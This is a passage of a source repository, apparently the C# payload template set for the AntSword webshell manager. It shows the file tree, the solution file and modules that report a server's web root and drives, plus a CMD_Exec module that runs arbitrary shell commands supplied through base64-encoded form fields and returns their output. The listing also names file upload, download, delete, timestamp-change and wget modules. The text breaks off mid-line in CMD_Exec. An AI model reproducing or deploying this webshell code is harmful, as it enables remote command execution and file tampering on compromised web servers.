├── .gitignore ├── AntSword-Csharp-Template.sln ├── AntSword-Csharp-Template.sln.DotSettings.user ├── BASE_Info ├── BASE_Info.cs ├── BASE_Info.csproj └── Properties │ └── AssemblyInfo.cs ├── BASE_Probedb ├── BASE_Probedb.cs ├── BASE_Probedb.csproj └── Properties │ └── AssemblyInfo.cs ├── CMD_Exec ├── CMD_Exec.cs ├── CMD_Exec.csproj └── Properties │ └── AssemblyInfo.cs ├── CMD_Listcmd ├── CMD_Listcmd.cs ├── CMD_Listcmd.csproj └── Properties │ └── AssemblyInfo.cs ├── DB_Default ├── DB_Default.cs ├── DB_Default.csproj └── Properties │ └── AssemblyInfo.cs ├── DB_SqlServer ├── DB_SqlServer.cs ├── DB_SqlServer.csproj └── Properties │ └── AssemblyInfo.cs ├── FM_Copy ├── FM_Copy.cs ├── FM_Copy.csproj └── Properties │ └── AssemblyInfo.cs ├── FM_CreateFile ├── FM_CreateFile.cs ├── FM_CreateFile.csproj └── Properties │ └── AssemblyInfo.cs ├── FM_Delete ├── FM_Delete.cs ├── FM_Delete.csproj └── Properties │ └── AssemblyInfo.cs ├── FM_Dir ├── FM_Dir.cs ├── FM_Dir.csproj └── Properties │ └── AssemblyInfo.cs ├── FM_DownloadFile ├── FM_DownloadFile.cs ├── FM_DownloadFile.csproj └── Properties │ └── AssemblyInfo.cs ├── FM_Mkdir ├── FM_Mkdir.cs ├── FM_Mkdir.csproj └── Properties │ └── AssemblyInfo.cs ├── FM_ReadFile ├── FM_ReadFile.cs ├── FM_ReadFile.csproj └── Properties │ └── AssemblyInfo.cs ├── FM_Rename ├── FM_Rename.cs ├── FM_Rename.csproj └── Properties │ └── AssemblyInfo.cs ├── FM_Retime ├── FM_Retime.cs ├── FM_Retime.csproj └── Properties │ └── AssemblyInfo.cs ├── FM_UploadFile ├── FM_UploadFile.cs ├── FM_UploadFile.csproj └── Properties │ └── AssemblyInfo.cs ├── FM_Wget ├── FM_Wget.cs ├── FM_Wget.csproj └── Properties │ └── AssemblyInfo.cs ├── README.md ├── build.py └── template ├── base.js ├── command.js ├── database ├── default.js ├── mysql.js ├── oracle.js └── sqlserver.js └── filemanager.js /.gitignore: -------------------------------------------------------------------------------- 1 | bin/ 2 | obj/ 3 | /packages/ 4 | riderModule.iml 5 | /_ReSharper.Caches/ 6 | dist/ 7 | /temp/* 8 | /.idea/ 9 | Test* -------------------------------------------------------------------------------- /AntSword-Csharp-Template.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "BASE_Info", "BASE_Info\BASE_Info.csproj", "{889587AB-5DE8-4B2D-9CAE-63B7F630DF86}" 4 | EndProject 5 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "BASE_Probedb", "BASE_Probedb\BASE_Probedb.csproj", "{EE8C9EAB-8B4D-41C6-89B8-6C5DB543355F}" 6 | EndProject 7 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "CMD_Exec", "CMD_Exec\CMD_Exec.csproj", "{F7994A18-87CB-4EE4-8A2D-BABED3708907}" 8 | EndProject 9 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "CMD_Listcmd", "CMD_Listcmd\CMD_Listcmd.csproj", "{61C1ED62-33B9-4D97-B460-6E33C1C447EE}" 10 | EndProject 11 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "FM_Dir", "FM_Dir\FM_Dir.csproj", "{32B6D04A-A05B-4421-B063-910BE01B744A}" 12 | EndProject 13 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "FM_ReadFile", "FM_ReadFile\FM_ReadFile.csproj", "{D6ABEB05-EB7A-49E3-B466-DDEE32645AEF}" 14 | EndProject 15 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "TestWeb", "TestWeb\TestWeb.csproj", "{67161D79-EC57-497C-AE0A-BA74ECB9AEDD}" 16 | EndProject 17 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "TestRun", "TestRun\TestRun.csproj", "{2BD4AA4C-4DE4-43F7-BE6F-31163B976538}" 18 | EndProject 19 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "FM_CreateFile", "FM_CreateFile\FM_CreateFile.csproj", "{AE83F956-2C8C-455A-8677-997C6567772D}" 20 | EndProject 21 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "FM_Delete", "FM_Delete\FM_Delete.csproj", "{0C1CCAE2-780C-410C-AE53-C7CA44BA1AA0}" 22 | EndProject 23 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "FM_DownloadFile", "FM_DownloadFile\FM_DownloadFile.csproj", "{0C081095-8C92-4A66-9162-497E1E020504}" 24 | EndProject 25 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "FM_UploadFile", "FM_UploadFile\FM_UploadFile.csproj", "{82F7FFC8-D783-4545-95A2-55C608C32E84}" 26 | EndProject 27 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "FM_Copy", "FM_Copy\FM_Copy.csproj", "{B442D154-5223-4F63-A83D-D4B6C3544D07}" 28 | EndProject 29 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "FM_Rename", "FM_Rename\FM_Rename.csproj", "{0C25A9E4-B490-4E53-BB1E-04B62A5FA796}" 30 | EndProject 31 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "FM_Mkdir", "FM_Mkdir\FM_Mkdir.csproj", "{CEA75942-96B0-49B5-AD6C-A9BFBB222FDF}" 32 | EndProject 33 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "FM_Retime", "FM_Retime\FM_Retime.csproj", "{C5C931CA-0FC0-46BA-BB6A-932D5344BCAC}" 34 | EndProject 35 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "FM_Wget", "FM_Wget\FM_Wget.csproj", "{B3E3CC08-0D77-42FF-9E6F-71B443654304}" 36 | EndProject 37 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "DB_Default", "DB_Default\DB_Default.csproj", "{48899469-E067-4D27-AB47-FE11B1676EAE}" 38 | EndProject 39 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "DB_SqlServer", "DB_SqlServer\DB_SqlServer.csproj", "{864921F9-3525-4E2F-81FC-D39443D98A70}" 40 | EndProject 41 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "TestFunc", "TestFunc\TestFunc.csproj", "{A5EE3B2F-0DDB-4C66-B76B-9EC73A181E66}" 42 | EndProject 43 | Global 44 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 45 | Debug|Any CPU = Debug|Any CPU 46 | Release|Any CPU = Release|Any CPU 47 | EndGlobalSection 48 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 49 | {889587AB-5DE8-4B2D-9CAE-63B7F630DF86}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 50 | {889587AB-5DE8-4B2D-9CAE-63B7F630DF86}.Debug|Any CPU.Build.0 = Debug|Any CPU 51 | {889587AB-5DE8-4B2D-9CAE-63B7F630DF86}.Release|Any CPU.ActiveCfg = Release|Any CPU 52 | {889587AB-5DE8-4B2D-9CAE-63B7F630DF86}.Release|Any CPU.Build.0 = Release|Any CPU 53 | {EE8C9EAB-8B4D-41C6-89B8-6C5DB543355F}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 54 | {EE8C9EAB-8B4D-41C6-89B8-6C5DB543355F}.Debug|Any CPU.Build.0 = Debug|Any CPU 55 | {EE8C9EAB-8B4D-41C6-89B8-6C5DB543355F}.Release|Any CPU.ActiveCfg = Release|Any CPU 56 | {EE8C9EAB-8B4D-41C6-89B8-6C5DB543355F}.Release|Any CPU.Build.0 = Release|Any CPU 57 | {F7994A18-87CB-4EE4-8A2D-BABED3708907}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 58 | {F7994A18-87CB-4EE4-8A2D-BABED3708907}.Debug|Any CPU.Build.0 = Debug|Any CPU 59 | {F7994A18-87CB-4EE4-8A2D-BABED3708907}.Release|Any CPU.ActiveCfg = Release|Any CPU 60 | {F7994A18-87CB-4EE4-8A2D-BABED3708907}.Release|Any CPU.Build.0 = Release|Any CPU 61 | {61C1ED62-33B9-4D97-B460-6E33C1C447EE}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 62 | {61C1ED62-33B9-4D97-B460-6E33C1C447EE}.Debug|Any CPU.Build.0 = Debug|Any CPU 63 | {61C1ED62-33B9-4D97-B460-6E33C1C447EE}.Release|Any CPU.ActiveCfg = Release|Any CPU 64 | {61C1ED62-33B9-4D97-B460-6E33C1C447EE}.Release|Any CPU.Build.0 = Release|Any CPU 65 | {32B6D04A-A05B-4421-B063-910BE01B744A}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 66 | {32B6D04A-A05B-4421-B063-910BE01B744A}.Debug|Any CPU.Build.0 = Debug|Any CPU 67 | {32B6D04A-A05B-4421-B063-910BE01B744A}.Release|Any CPU.ActiveCfg = Release|Any CPU 68 | {32B6D04A-A05B-4421-B063-910BE01B744A}.Release|Any CPU.Build.0 = Release|Any CPU 69 | {D6ABEB05-EB7A-49E3-B466-DDEE32645AEF}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 70 | {D6ABEB05-EB7A-49E3-B466-DDEE32645AEF}.Debug|Any CPU.Build.0 = Debug|Any CPU 71 | {D6ABEB05-EB7A-49E3-B466-DDEE32645AEF}.Release|Any CPU.ActiveCfg = Release|Any CPU 72 | {D6ABEB05-EB7A-49E3-B466-DDEE32645AEF}.Release|Any CPU.Build.0 = Release|Any CPU 73 | {67161D79-EC57-497C-AE0A-BA74ECB9AEDD}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 74 | {67161D79-EC57-497C-AE0A-BA74ECB9AEDD}.Debug|Any CPU.Build.0 = Debug|Any CPU 75 | {67161D79-EC57-497C-AE0A-BA74ECB9AEDD}.Release|Any CPU.ActiveCfg = Release|Any CPU 76 | {67161D79-EC57-497C-AE0A-BA74ECB9AEDD}.Release|Any CPU.Build.0 = Release|Any CPU 77 | {2BD4AA4C-4DE4-43F7-BE6F-31163B976538}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 78 | {2BD4AA4C-4DE4-43F7-BE6F-31163B976538}.Debug|Any CPU.Build.0 = Debug|Any CPU 79 | {2BD4AA4C-4DE4-43F7-BE6F-31163B976538}.Release|Any CPU.ActiveCfg = Release|Any CPU 80 | {2BD4AA4C-4DE4-43F7-BE6F-31163B976538}.Release|Any CPU.Build.0 = Release|Any CPU 81 | {AE83F956-2C8C-455A-8677-997C6567772D}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 82 | {AE83F956-2C8C-455A-8677-997C6567772D}.Debug|Any CPU.Build.0 = Debug|Any CPU 83 | {AE83F956-2C8C-455A-8677-997C6567772D}.Release|Any CPU.ActiveCfg = Release|Any CPU 84 | {AE83F956-2C8C-455A-8677-997C6567772D}.Release|Any CPU.Build.0 = Release|Any CPU 85 | {0C1CCAE2-780C-410C-AE53-C7CA44BA1AA0}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 86 | {0C1CCAE2-780C-410C-AE53-C7CA44BA1AA0}.Debug|Any CPU.Build.0 = Debug|Any CPU 87 | {0C1CCAE2-780C-410C-AE53-C7CA44BA1AA0}.Release|Any CPU.ActiveCfg = Release|Any CPU 88 | {0C1CCAE2-780C-410C-AE53-C7CA44BA1AA0}.Release|Any CPU.Build.0 = Release|Any CPU 89 | {0C081095-8C92-4A66-9162-497E1E020504}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 90 | {0C081095-8C92-4A66-9162-497E1E020504}.Debug|Any CPU.Build.0 = Debug|Any CPU 91 | {0C081095-8C92-4A66-9162-497E1E020504}.Release|Any CPU.ActiveCfg = Release|Any CPU 92 | {0C081095-8C92-4A66-9162-497E1E020504}.Release|Any CPU.Build.0 = Release|Any CPU 93 | {82F7FFC8-D783-4545-95A2-55C608C32E84}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 94 | {82F7FFC8-D783-4545-95A2-55C608C32E84}.Debug|Any CPU.Build.0 = Debug|Any CPU 95 | {82F7FFC8-D783-4545-95A2-55C608C32E84}.Release|Any CPU.ActiveCfg = Release|Any CPU 96 | {82F7FFC8-D783-4545-95A2-55C608C32E84}.Release|Any CPU.Build.0 = Release|Any CPU 97 | {B442D154-5223-4F63-A83D-D4B6C3544D07}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 98 | {B442D154-5223-4F63-A83D-D4B6C3544D07}.Debug|Any CPU.Build.0 = Debug|Any CPU 99 | {B442D154-5223-4F63-A83D-D4B6C3544D07}.Release|Any CPU.ActiveCfg = Release|Any CPU 100 | {B442D154-5223-4F63-A83D-D4B6C3544D07}.Release|Any CPU.Build.0 = Release|Any CPU 101 | {0C25A9E4-B490-4E53-BB1E-04B62A5FA796}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 102 | {0C25A9E4-B490-4E53-BB1E-04B62A5FA796}.Debug|Any CPU.Build.0 = Debug|Any CPU 103 | {0C25A9E4-B490-4E53-BB1E-04B62A5FA796}.Release|Any CPU.ActiveCfg = Release|Any CPU 104 | {0C25A9E4-B490-4E53-BB1E-04B62A5FA796}.Release|Any CPU.Build.0 = Release|Any CPU 105 | {CEA75942-96B0-49B5-AD6C-A9BFBB222FDF}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 106 | {CEA75942-96B0-49B5-AD6C-A9BFBB222FDF}.Debug|Any CPU.Build.0 = Debug|Any CPU 107 | {CEA75942-96B0-49B5-AD6C-A9BFBB222FDF}.Release|Any CPU.ActiveCfg = Release|Any CPU 108 | {CEA75942-96B0-49B5-AD6C-A9BFBB222FDF}.Release|Any CPU.Build.0 = Release|Any CPU 109 | {C5C931CA-0FC0-46BA-BB6A-932D5344BCAC}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 110 | {C5C931CA-0FC0-46BA-BB6A-932D5344BCAC}.Debug|Any CPU.Build.0 = Debug|Any CPU 111 | {C5C931CA-0FC0-46BA-BB6A-932D5344BCAC}.Release|Any CPU.ActiveCfg = Release|Any CPU 112 | {C5C931CA-0FC0-46BA-BB6A-932D5344BCAC}.Release|Any CPU.Build.0 = Release|Any CPU 113 | {B3E3CC08-0D77-42FF-9E6F-71B443654304}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 114 | {B3E3CC08-0D77-42FF-9E6F-71B443654304}.Debug|Any CPU.Build.0 = Debug|Any CPU 115 | {B3E3CC08-0D77-42FF-9E6F-71B443654304}.Release|Any CPU.ActiveCfg = Release|Any CPU 116 | {B3E3CC08-0D77-42FF-9E6F-71B443654304}.Release|Any CPU.Build.0 = Release|Any CPU 117 | {48899469-E067-4D27-AB47-FE11B1676EAE}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 118 | {48899469-E067-4D27-AB47-FE11B1676EAE}.Debug|Any CPU.Build.0 = Debug|Any CPU 119 | {48899469-E067-4D27-AB47-FE11B1676EAE}.Release|Any CPU.ActiveCfg = Release|Any CPU 120 | {48899469-E067-4D27-AB47-FE11B1676EAE}.Release|Any CPU.Build.0 = Release|Any CPU 121 | {864921F9-3525-4E2F-81FC-D39443D98A70}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 122 | {864921F9-3525-4E2F-81FC-D39443D98A70}.Debug|Any CPU.Build.0 = Debug|Any CPU 123 | {864921F9-3525-4E2F-81FC-D39443D98A70}.Release|Any CPU.ActiveCfg = Release|Any CPU 124 | {864921F9-3525-4E2F-81FC-D39443D98A70}.Release|Any CPU.Build.0 = Release|Any CPU 125 | {A5EE3B2F-0DDB-4C66-B76B-9EC73A181E66}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 126 | {A5EE3B2F-0DDB-4C66-B76B-9EC73A181E66}.Debug|Any CPU.Build.0 = Debug|Any CPU 127 | {A5EE3B2F-0DDB-4C66-B76B-9EC73A181E66}.Release|Any CPU.ActiveCfg = Release|Any CPU 128 | {A5EE3B2F-0DDB-4C66-B76B-9EC73A181E66}.Release|Any CPU.Build.0 = Release|Any CPU 129 | EndGlobalSection 130 | EndGlobal 131 | -------------------------------------------------------------------------------- /AntSword-Csharp-Template.sln.DotSettings.user: -------------------------------------------------------------------------------- 1 |  2 | <AssemblyExplorer> 3 | <Assembly Path="C:\Windows\Microsoft.NET\Framework\v2.0.50727\System.Web.dll" /> 4 | </AssemblyExplorer> -------------------------------------------------------------------------------- /BASE_Info/BASE_Info.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.IO; 3 | using System.Web; 4 | 5 | namespace BASE_Info 6 | { 7 | public class Run 8 | { 9 | public HttpRequest Request; 10 | public HttpResponse Response; 11 | public String encoder; 12 | public String decoder; 13 | public String cs; 14 | public String randomPrefix; 15 | 16 | 17 | public override bool Equals(object obj) 18 | { 19 | this.parseObj(obj); 20 | this.cs = "UTF-8"; 21 | this.encoder = "base64"; 22 | this.decoder = ""; 23 | this.randomPrefix = "2"; 24 | String tag_s = "->|"; 25 | String tag_e = "|<-"; 26 | this.Response.Charset = cs; 27 | String result = ""; 28 | try 29 | { 30 | if (this.Request.Form["version"] != null) 31 | { 32 | String[] split = System.Text.Encoding.GetEncoding(cs) 33 | .GetString(System.Convert.FromBase64String(this.Request.Form["version"])).Split(';'); 34 | if (split.Length == 1) 35 | { 36 | this.randomPrefix = split[0]; 37 | } 38 | else 39 | { 40 | this.randomPrefix = split[0]; 41 | tag_s = split[1]; 42 | tag_e = split[2]; 43 | } 44 | } 45 | 46 | result += this.GetInfo(); 47 | } 48 | catch (Exception e) 49 | { 50 | result = "ERROR:// " + e.Message; 51 | } 52 | 53 | this.Response.Write(tag_s + asoutput(result) + tag_e); 54 | return true; 55 | } 56 | 57 | public void parseObj(Object obj) 58 | { 59 | if (obj.GetType().IsArray) 60 | { 61 | Object[] data = (Object[])obj; 62 | this.Request = (HttpRequest)data[0]; 63 | this.Response = (HttpResponse)data[1]; 64 | } 65 | else 66 | { 67 | try 68 | { 69 | HttpContext context = (HttpContext)obj; 70 | this.Response = context.Response; 71 | this.Request = context.Request; 72 | } 73 | catch (Exception) 74 | { 75 | HttpContext context = HttpContext.Current; 76 | this.Response = context.Response; 77 | this.Request = context.Request; 78 | } 79 | } 80 | } 81 | 82 | public string GetInfo() 83 | { 84 | String ret = ""; 85 | String[] c = Directory.GetLogicalDrives(); 86 | ret = String.Format("{0}\t", AppDomain.CurrentDomain.BaseDirectory); 87 | for (int i = 0; i < c.Length; i++) 88 | ret += c[i][0] + ":"; 89 | return ret; 90 | } 91 | 92 | public String asoutput(String src) 93 | { 94 | String ret; 95 | try 96 | { 97 | switch (decoder) 98 | { 99 | case "base64": 100 | { 101 | ret = System.Convert.ToBase64String(System.Text.Encoding.GetEncoding(cs).GetBytes(src)); 102 | break; 103 | } 104 | default: 105 | { 106 | ret = src; 107 | break; 108 | } 109 | } 110 | } 111 | catch (Exception e) 112 | { 113 | ret = e.Message.ToString(); 114 | } 115 | 116 | return ret; 117 | } 118 | } 119 | } -------------------------------------------------------------------------------- /BASE_Info/BASE_Info.csproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | Debug 6 | AnyCPU 7 | {889587AB-5DE8-4B2D-9CAE-63B7F630DF86} 8 | Library 9 | Properties 10 | Info 11 | BASE_Info 12 | v2.0 13 | 512 14 | 15 | 16 | AnyCPU 17 | true 18 | full 19 | false 20 | bin\Debug\ 21 | DEBUG;TRACE 22 | prompt 23 | 4 24 | 25 | 26 | AnyCPU 27 | pdbonly 28 | true 29 | bin\Release\ 30 | TRACE 31 | prompt 32 | 4 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 53 | 54 | 55 | -------------------------------------------------------------------------------- /BASE_Info/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.InteropServices; 3 | 4 | // General Information about an assembly is controlled through the following 5 | // set of attributes. Change these attribute values to modify the information 6 | // associated with an assembly. 7 | [assembly: AssemblyTitle("BASE_Info")] 8 | [assembly: AssemblyDescription("")] 9 | [assembly: AssemblyConfiguration("")] 10 | [assembly: AssemblyCompany("")] 11 | [assembly: AssemblyProduct("BASE_Info")] 12 | [assembly: AssemblyCopyright("Copyright © 2021")] 13 | [assembly: AssemblyTrademark("")] 14 | [assembly: AssemblyCulture("")] 15 | 16 | // Setting ComVisible to false makes the types in this assembly not visible 17 | // to COM components. If you need to access a type in this assembly from 18 | // COM, set the ComVisible attribute to true on that type. 19 | [assembly: ComVisible(false)] 20 | 21 | // The following GUID is for the ID of the typelib if this project is exposed to COM 22 | [assembly: Guid("889587AB-5DE8-4B2D-9CAE-63B7F630DF86")] 23 | 24 | // Version information for an assembly consists of the following four values: 25 | // 26 | // Major Version 27 | // Minor Version 28 | // Build Number 29 | // Revision 30 | // 31 | // You can specify all the values or you can default the Build and Revision Numbers 32 | // by using the '*' as shown below: 33 | // [assembly: AssemblyVersion("1.0.*")] 34 | [assembly: AssemblyVersion("1.0.0.0")] 35 | [assembly: AssemblyFileVersion("1.0.0.0")] -------------------------------------------------------------------------------- /BASE_Probedb/BASE_Probedb.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.IO; 3 | using System.Text; 4 | using System.Web; 5 | 6 | namespace BASE_Probedb 7 | { 8 | public class Run 9 | { 10 | public HttpRequest Request; 11 | public HttpResponse Response; 12 | public String encoder; 13 | public String decoder; 14 | public String cs; 15 | public String randomPrefix; 16 | 17 | 18 | public override bool Equals(object obj) 19 | { 20 | this.parseObj(obj); 21 | this.cs = "UTF-8"; 22 | this.encoder = "base64"; 23 | this.decoder = ""; 24 | this.randomPrefix = "2"; 25 | String tag_s = "->|"; 26 | String tag_e = "|<-"; 27 | this.Response.Charset = cs; 28 | String result = ""; 29 | try 30 | { 31 | if (this.Request.Form["version"] != null) 32 | { 33 | String[] split = System.Text.Encoding.GetEncoding(cs) 34 | .GetString(System.Convert.FromBase64String(this.Request.Form["version"])).Split(';'); 35 | if (split.Length == 1) 36 | { 37 | this.randomPrefix = split[0]; 38 | } 39 | else 40 | { 41 | this.randomPrefix = split[0]; 42 | tag_s = split[1]; 43 | tag_e = split[2]; 44 | } 45 | } 46 | 47 | result += this.GetInfo(); 48 | } 49 | catch (Exception e) 50 | { 51 | result = "ERROR:// " + e.Message; 52 | } 53 | 54 | this.Response.Write(tag_s + asoutput(result) + tag_e); 55 | return true; 56 | } 57 | 58 | public void parseObj(Object obj) 59 | { 60 | if (obj.GetType().IsArray) 61 | { 62 | Object[] data = (Object[])obj; 63 | this.Request = (HttpRequest)data[0]; 64 | this.Response = (HttpResponse)data[1]; 65 | } 66 | else 67 | { 68 | try 69 | { 70 | HttpContext context = (HttpContext)obj; 71 | this.Response = context.Response; 72 | this.Request = context.Request; 73 | } 74 | catch (Exception) 75 | { 76 | HttpContext context = HttpContext.Current; 77 | this.Response = context.Response; 78 | this.Request = context.Request; 79 | } 80 | } 81 | } 82 | 83 | public string GetInfo() 84 | { 85 | String ret = ""; 86 | String[] c = Directory.GetLogicalDrives(); 87 | ret = String.Format("{0}\t", HttpContext.Current.Server.MapPath("/")); 88 | for (int i = 0; i < c.Length; i++) 89 | ret += c[i][0] + ":"; 90 | return ret; 91 | } 92 | 93 | public String HexAsciiConvert(String hex) 94 | { 95 | StringBuilder sb = new StringBuilder(); 96 | int i; 97 | for (i = 0; i < hex.Length; i += 2) 98 | { 99 | sb.Append(System.Convert.ToString(System.Convert.ToChar(Int32.Parse(hex.Substring(i, 2), 100 | System.Globalization.NumberStyles.HexNumber)))); 101 | } 102 | 103 | return sb.ToString(); 104 | } 105 | 106 | public String asoutput(String src) 107 | { 108 | String ret; 109 | try 110 | { 111 | switch (decoder) 112 | { 113 | case "base64": 114 | { 115 | ret = System.Convert.ToBase64String(System.Text.Encoding.GetEncoding(cs).GetBytes(src)); 116 | break; 117 | } 118 | default: 119 | { 120 | ret = src; 121 | break; 122 | } 123 | } 124 | } 125 | catch (Exception e) 126 | { 127 | ret = e.Message.ToString(); 128 | } 129 | 130 | return ret; 131 | } 132 | } 133 | } -------------------------------------------------------------------------------- /BASE_Probedb/BASE_Probedb.csproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | Debug 6 | AnyCPU 7 | {EE8C9EAB-8B4D-41C6-89B8-6C5DB543355F} 8 | Library 9 | Properties 10 | Probedb 11 | BASE_Probedb 12 | v2.0 13 | 512 14 | 15 | 16 | AnyCPU 17 | true 18 | full 19 | false 20 | bin\Debug\ 21 | DEBUG;TRACE 22 | prompt 23 | 4 24 | 25 | 26 | AnyCPU 27 | pdbonly 28 | true 29 | bin\Release\ 30 | TRACE 31 | prompt 32 | 4 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 53 | 54 | 55 | -------------------------------------------------------------------------------- /BASE_Probedb/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.InteropServices; 3 | 4 | // General Information about an assembly is controlled through the following 5 | // set of attributes. Change these attribute values to modify the information 6 | // associated with an assembly. 7 | [assembly: AssemblyTitle("BASE_Probedb")] 8 | [assembly: AssemblyDescription("")] 9 | [assembly: AssemblyConfiguration("")] 10 | [assembly: AssemblyCompany("")] 11 | [assembly: AssemblyProduct("BASE_Probedb")] 12 | [assembly: AssemblyCopyright("Copyright © 2021")] 13 | [assembly: AssemblyTrademark("")] 14 | [assembly: AssemblyCulture("")] 15 | 16 | // Setting ComVisible to false makes the types in this assembly not visible 17 | // to COM components. If you need to access a type in this assembly from 18 | // COM, set the ComVisible attribute to true on that type. 19 | [assembly: ComVisible(false)] 20 | 21 | // The following GUID is for the ID of the typelib if this project is exposed to COM 22 | [assembly: Guid("EE8C9EAB-8B4D-41C6-89B8-6C5DB543355F")] 23 | 24 | // Version information for an assembly consists of the following four values: 25 | // 26 | // Major Version 27 | // Minor Version 28 | // Build Number 29 | // Revision 30 | // 31 | // You can specify all the values or you can default the Build and Revision Numbers 32 | // by using the '*' as shown below: 33 | // [assembly: AssemblyVersion("1.0.*")] 34 | [assembly: AssemblyVersion("1.0.0.0")] 35 | [assembly: AssemblyFileVersion("1.0.0.0")] -------------------------------------------------------------------------------- /CMD_Exec/CMD_Exec.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Diagnostics; 3 | using System.IO; 4 | using System.Text; 5 | using System.Text.RegularExpressions; 6 | using System.Web; 7 | using System.Web.UI; 8 | 9 | namespace CMD_Exec 10 | { 11 | public class Run 12 | { 13 | public HttpRequest Request; 14 | public HttpResponse Response; 15 | public String encoder; 16 | public String decoder; 17 | public String cs; 18 | public String randomPrefix; 19 | 20 | public override bool Equals(object obj) 21 | { 22 | this.parseObj(obj); 23 | this.cs = "UTF-8"; 24 | this.encoder = "base64"; 25 | this.decoder = ""; 26 | this.randomPrefix = "2"; 27 | String tag_s = "->|"; 28 | String tag_e = "|<-"; 29 | this.Response.Charset = cs; 30 | String result = ""; 31 | try 32 | { 33 | if (this.Request.Form["version"] != null) 34 | { 35 | String[] split = System.Text.Encoding.GetEncoding(cs) 36 | .GetString(System.Convert.FromBase64String(this.Request.Form["version"])).Split(';'); 37 | if (split.Length == 1) 38 | { 39 | this.randomPrefix = split[0]; 40 | } 41 | else 42 | { 43 | this.randomPrefix = split[0]; 44 | tag_s = split[1]; 45 | tag_e = split[2]; 46 | } 47 | } 48 | 49 | String bin = decode(this.Request.Form["bin"]); 50 | String cmd = decode(this.Request.Form["cmd"]); 51 | String env = decode(this.Request.Form["env"]); 52 | result += this.ExecuteCmd(bin, cmd, env); 53 | } 54 | catch (Exception e) 55 | { 56 | result = "ERROR:// " + e.Message; 57 | } 58 | 59 | this.Response.Write(tag_s + asoutput(result) + tag_e); 60 | return true; 61 | } 62 | 63 | public void parseObj(Object obj) 64 | { 65 | if (obj.GetType().IsArray) 66 | { 67 | Object[] data = (Object[])obj; 68 | this.Request = (HttpRequest)data[0]; 69 | this.Response = (HttpResponse)data[1]; 70 | } 71 | else 72 | { 73 | try 74 | { 75 | HttpContext context = (HttpContext)obj; 76 | this.Response = context.Response; 77 | this.Request = context.Request; 78 | } 79 | catch (Exception) 80 | { 81 | HttpContext context = HttpContext.Current; 82 | this.Response = context.Response; 83 | this.Request = context.Request; 84 | } 85 | } 86 | } 87 | 88 | 89 | public string ExecuteCmd(String bin, String cmd, String env) 90 | { 91 | String ret = ""; 92 | 93 | ProcessStartInfo c = new ProcessStartInfo(bin); 94 | Process e = new Process(); 95 | StreamReader OT, ER; 96 | c.UseShellExecute = false; 97 | c.RedirectStandardInput = true; 98 | c.RedirectStandardOutput = true; 99 | c.RedirectStandardError = true; 100 | c.CreateNoWindow = true; 101 | e.StartInfo = c; 102 | c.Arguments = "/c " + cmd; 103 | if (env != "") 104 | { 105 | String[] envarr = Regex.Split(env, "\\|\\|\\|asline\\|\\|\\|"); 106 | int i; 107 | for (i = 0; i < envarr.Length; i++) 108 | { 109 | String[] ss = Regex.Split(envarr[i], "\\|\\|\\|askey\\|\\|\\|"); 110 | if (ss.Length != 2) 111 | { 112 | continue; 113 | } 114 | 115 | c.EnvironmentVariables.Add(ss[0], ss[1]); 116 | } 117 | } 118 | 119 | e.Start(); 120 | OT = e.StandardOutput; 121 | ER = e.StandardError; 122 | e.Close(); 123 | ret = 